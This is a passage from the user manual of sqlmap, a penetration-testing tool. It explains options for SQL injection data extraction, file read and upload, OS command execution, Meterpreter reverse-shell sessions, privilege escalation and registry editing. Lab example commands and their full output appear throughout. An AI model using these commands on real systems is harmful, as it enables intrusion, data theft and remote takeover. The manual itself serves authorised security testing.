SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
```

As you can see, sqlmap splits the provided query into two different `SELECT` statements then retrieves the output for each separate query.

If the provided query is a `SELECT` statement and contains a `FROM` clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

**Brute force**

These switches can be used to run brute force checks.

**Brute force tables names**

Switch: `--common-tables`

There are cases where switch `--tables` can not be used to retrieve the databases' table names. These cases usually fit into one of the following categories:

- The database management system is MySQL **< 5.0** where `information_schema` is not available.
- The database management system is Microsoft Access and system table `MSysObjects` is not readable - default setting.
- The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch `--tables`, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch `--common-tables`. sqlmap will perform a brute-force attack in order to detect the existence of common tables across the DBMS.

The list of common table names is `txt/common-tables.txt` and you can edit it as you wish.

Example against a MySQL 4.1 target:

```
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+
```

**Brute force columns names**

Switch: `--common-columns`

As per tables, there are cases where switch `--columns` can not be used to retrieve the databases' tables' column names. These cases usually fit into one of the following categories:

- The database management system is MySQL **< 5.0** where `information_schema` is not available.
- The database management system is Microsoft Access where this kind of information is not available inside system tables.
- The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch `--columns`, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch `--common-columns`. sqlmap will perform a brute-force attack in order to detect the existence of common columns across the DBMS.

The list of common table names is `txt/common-columns.txt` and you can edit it as you wish.

**User-defined function injection**

These options can be used to create custom user-defined functions.

**Inject custom user-defined functions (UDF)**

Switch and option: `--udf-inject` and `--shared-lib`

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Use option `--udf-inject` and follow the instructions.

If you want, you can specify the shared library local file system path via command line too by using `--shared-lib` option. Vice versa sqlmap will ask you for the path at runtime.
This feature is available only when the database management system is MySQL or PostgreSQL.

## File system access

### Read a file from the database server's file system

Option: `--file-read`
It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
```

### Upload a file to the database server's file system

Options: `--file-write` and `--file-dest`
It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a MySQL target to upload a binary UPX-compressed file:

```
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
```

## Operating system takeover

### Run arbitrary operating system command

Option and switch: `--os-cmd` and `--os-shell`
It is possible to **run arbitrary commands on the database server's underlying operating system** when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmdshell` stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.
When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
```

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is `--os-shell` and has the same TAB completion and history functionalities that `--sql-shell` has.
Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the `SELECT` clause's `INTO OUTFILE` to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

- ASP
- ASP.NET
- JSP
- PHP

**Out-of-band stateful connection: Meterpreter & friends**

Switches and options: `--os-pwn`, `--os-smbrelay`, `--os-bof`, `--priv-esc`, `--msf-path` and `--tmp-path`

It is possible to establish an **out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL - switch `--os-pwn`.
- Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server - switch `--os-pwn`.
- Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the attacker's machine where the Metasploit `smb_relay` server exploit listens. Supported when running sqlmap with high privileges (`uid=0`) on Linux/Unix and the target DBMS runs as Administrator on Windows - switch `--os-smbrelay`.
- Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation - switch `--os-bof`.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                               | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0
```

```
meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit
```

By default MySQL on Windows runs as `SYSTEM`, however PostgreSQL runs as a low-privileged user `postgres` on both Windows and Linux. Microsoft SQL Server 2000 by default runs as `SYSTEM`, whereas Microsoft SQL Server 2005 and 2008 run most of the times as `NETWORK SERVICE` and sometimes as `LOCAL SERVICE`.
It is possible to provide sqlmap with switch `--priv-esc` to perform a **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015).

**Windows registry access**
It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.

**Read a Windows registry key value**
Switch: `--reg-read`
Using this switch you can read registry key values.

**Write a Windows registry key value**
Switch: `--reg-add`
Using this switch you can write registry key values.

**Delete a Windows registry key**
Switch: `--reg-del`
Using this switch you can delete registry keys.

**Auxiliary registry options**
Options: `--reg-key`, `--reg-value`, `--reg-data` and `--reg-type`
These options can be used to provide data needed for proper running of switches `--reg-read`, `--reg-add` and `--reg-del`. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.
With `--reg-key` option you specify used Windows registry key path, with `--reg-value` value item name inside provided key, with `--reg-data` value data, while with `--reg-type` option you specify type of the value item.
A sample command line for adding a registry key hive follows:

```
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1
```

**General**
These options can be used to set some general working parameters.

**Load session from a stored (.sqlite) file**
Option: `-s`
sqlmap automatically creates a persistent session SQLite file for each target, inside dedicated output directory, where it stores all data required for session resumal. If user wants to explicitly set the session file location (e.g. for storing of session data for multiple targets at one place) he can use this option.

**Log HTTP(s) traffic to a textual file**
Option: `-t`
This option requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap - HTTP(S) requests and HTTP(S) responses.
This is useful primarily for debug purposes - when you provide the developers with a potential bug report, send this file too.

**Act in non-interactive mode**
Switch: `--batch`
If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using switch `--batch`. This will leave sqlmap to go with a default behaviour whenever user's input would be required.

**Binary content retrieval**
Option `--binary-fields`
In case of binary content retrieval, like in example of tables having column(s) with stored binary values (e.g. column `password` with binary stored password hash values), it is possible to use option `--binary-fields` for (extra) proper handling by sqlmap. All those fields (i.e. table columns) are then retrieved and represented in their hexadecimal representation, so afterwards they could be properly processed with other tools (e.g. `john`).

**Custom (blind) SQL injection charset**
Option: `--charset`
During boolean-based blind and time-based blind SQL injection cases, user can force the usage of custom charset to speed-up the data retrieval process. For example, in case of dumping message digest values (e.g. SHA1), by using (e.g.) `--charset="0123456789abcdef"` expected number of requests is around 30% less than in regular run.

**Crawl the website starting from the target URL**
Option: `--crawl`
sqlmap can collect potentially vulnerable links by collecting them (crawling) starting from the target location. Using this option user can set a depth (distance from a starting location) below which sqlmap won't go in collecting phase, as the process is being done recursively as long as there are new links to be visited.
Example run against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
```

Option `--crawl-exclude`
With this option you can exclude pages from crawling by providing a regular expression. For example, if you want to skip all pages that have the keyword `logout` in their paths, you can use `--crawl-exclude=logout`.

**Delimiting character used in CSV output**
Option: `--csv-del`
When data being dumped is stored into the CSV format (`--dump-format=CSV`), entries have to be separated with a "separation value" (default is `,`). In case that user wants to override its default value he can use this option (e.g. `--csv-del=";"`).

**DBMS authentication credentials**
Option: `--dbms-cred`
In some cases user will be warned that some operations failed because of lack of current DBMS user privileges and that he could try to use this option. In those cases, if he provides `admin` user credentials to sqlmap by using this option, sqlmap will try to rerun the problematic part with specialized "run as" mechanisms (e.g. `OPENROWSET` on Microsoft SQL Server) using those credentials.

**Format of dumped data**
Option: `--dump-format`
sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: `CSV`, `HTML` and `SQLITE`. Default one is `CSV`, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character `,` (or one provided with option `--csv-del`). In case of `HTML`, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of `SQLITE`, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name.

**Force character encoding used for data retrieval**
Option: `--encoding`
For proper decoding of character data sqlmap uses either web server provided information (e.g. HTTP header `Content-Type`) or a heuristic result coming from a 3rd party library chardet.
Nevertheless, there are cases when this value has to be overwritten, especially when retrieving data containing international non-ASCII letters (e.g. `--encoding=GBK`). It has to be noted that there is a possibility that character information is going to be irreversibly lost due to implicit incompatibility between stored database content and used database connector at the target side.

**Estimated time of arrival**
Switch: `--eta`
It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.
Example against an Oracle target affected only by boolean-based blind SQL injection:
```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19
```
Then:
```
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
```
As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

**Flush session files**
Option: `--flush-session`
As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option `--flush-session`. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

**Parse and test forms' input fields**
Switch: `--forms`
Say that you want to test against SQL injections a huge *search form* or you want to test a login bypass (typically only two input fields named like *username* and *password*), you can either pass to sqlmap the request in a request file (`-r`), set the POSTed data accordingly (`--data`) or let sqlmap do it for you!
Both of the above mentioned instances, and many others, appear as `<form>` and `<input>` tags in HTML response bodies and this is where this switch comes into play.
Provide sqlmap with `--forms` as well as the page where the form can be found as the target URL (`-u`) and sqlmap will request the target URL for you, parse the forms it has and guide you through to test for SQL injection on those form input fields (parameters) rather than the target URL provided.

**Ignore query results stored in session file**
Switch: `--fresh-queries`
As you are already familiar with the concept of a session file from the description above, it is good to know that you can ignore the content of that file using option `--fresh-queries`. This way you can keep the session file untouched and for a selected run, avoid the resuming/restoring of queries output.

**Use DBMS hex function(s) for data retrieval**
Switch: `--hex`
In lost of cases retrieval of non-ASCII data requires special needs. One solution for that problem is usage of DBMS hex function(s). Turned on by this switch, data is encoded to it's hexadecimal form before being retrieved and afterwards unencoded to it's original form.
Example against a PostgreSQL target:
```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
```

**Custom output directory path**
Option: `--output-dir`
sqlmap by default stores session and result files inside a subdirectory `output`. In case you want to use a different location, you can use this option (e.g. `--output-dir=/tmp`).

**Parse DBMS error messages from response pages**
Switch: `--parse-errors`
If the web application is configured in debug mode so that it displays in the HTTP responses the back-end database management system error messages, sqlmap can parse and display them for you.
This is useful for debugging purposes like understanding why a certain enumeration or takeover switch does not work - it might be a matter of session user's privileges and in this case you would see a DBMS error message along the lines of `Access denied for user <SESSION USER>`.
Example against a Microsoft SQL Server target:
```
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]
```

**Save options in a configuration INI file**
Option: `--save`
It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the `-c` option as explained above.

**Update sqlmap**
Switch: `--update`
Using this option you can update the tool to the latest development version directly from the Git repository. You obviously need Internet access.
If, for any reason, this operation fails, run `git pull` from your sqlmap working copy. It will perform the exact same operation of switch `--update`. If you are running sqlmap on Windows, you can use the SmartGit client.
This is strongly recommended **before** reporting any bug to the mailing lists.

**Miscellaneous**

**Use short mnemonics**
Option: `-z`
It could become tedious to type all desired options and switches, especially for those that are used most often (e.g. `--batch --random-agent --ignore-proxy --technique=BEU`). There is a simpler and much shorter way how to deal with that problem. In sqlmap it's called "mnemonics".
Each option and switch can be written in a shorter mnemonic form using option `-z`, separated with a comma character (`,`), where mnemonics represent only the first arbitrarily chosen part of the original name. There is no strict mapping of options and switches to their respective shortened counterparts. Only required condition is that there is no other option nor switch that has a same prefix as the desired one.
Example:
```
$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"
```
can be written (one of many ways) in shorter mnemonic form like:
```
$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"
```
Another example:
```
$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"
```
can be written in shorter mnemonic form like:
```
$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"
```

**Alerting on successful SQL injection detection**
Option: `--alert`

**Set answers for questions**
Option: `--answers`
In case that user wants to automatically set up answers for questions, even if `--batch` is used, using this option he can do it by providing any part of question together with answer after an equal sign. Also, answers for different question can be split with delimiter character `,`.
Example against a MySQL target:
```
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]
```

**Make a beep sound when SQL injection is found**
Switch: `--beep`
In case that user uses switch `--beep` he'll be warned with a beep sound immediately when SQL injection is found. This is especially useful when there is a large bulk list (option `-m`) of target URLs to be tested.

**Cleanup the DBMS from sqlmap specific UDF(s) and table(s)**
Switch: `--cleanup`
It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch `--cleanup` will attempt to clean up the DBMS and the file system wherever possible.

**Check for dependencies**
Switch: `--dependencies`
sqlmap in some special cases requires independent installation of extra 3rd party libraries (e.g. options `-d`, switch `--os-pwn` in case of `icmpsh` tunneling, option `--auth-type` in case of `NTLM` HTTP authentication type, etc.) and it will warn the user only in such special cases. But, if you want to independently check for all those extra 3rd party library dependencies you can use switch `--dependencies`.
```
$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/
```

**Disable console output coloring**
Switch: `--disable-coloring`
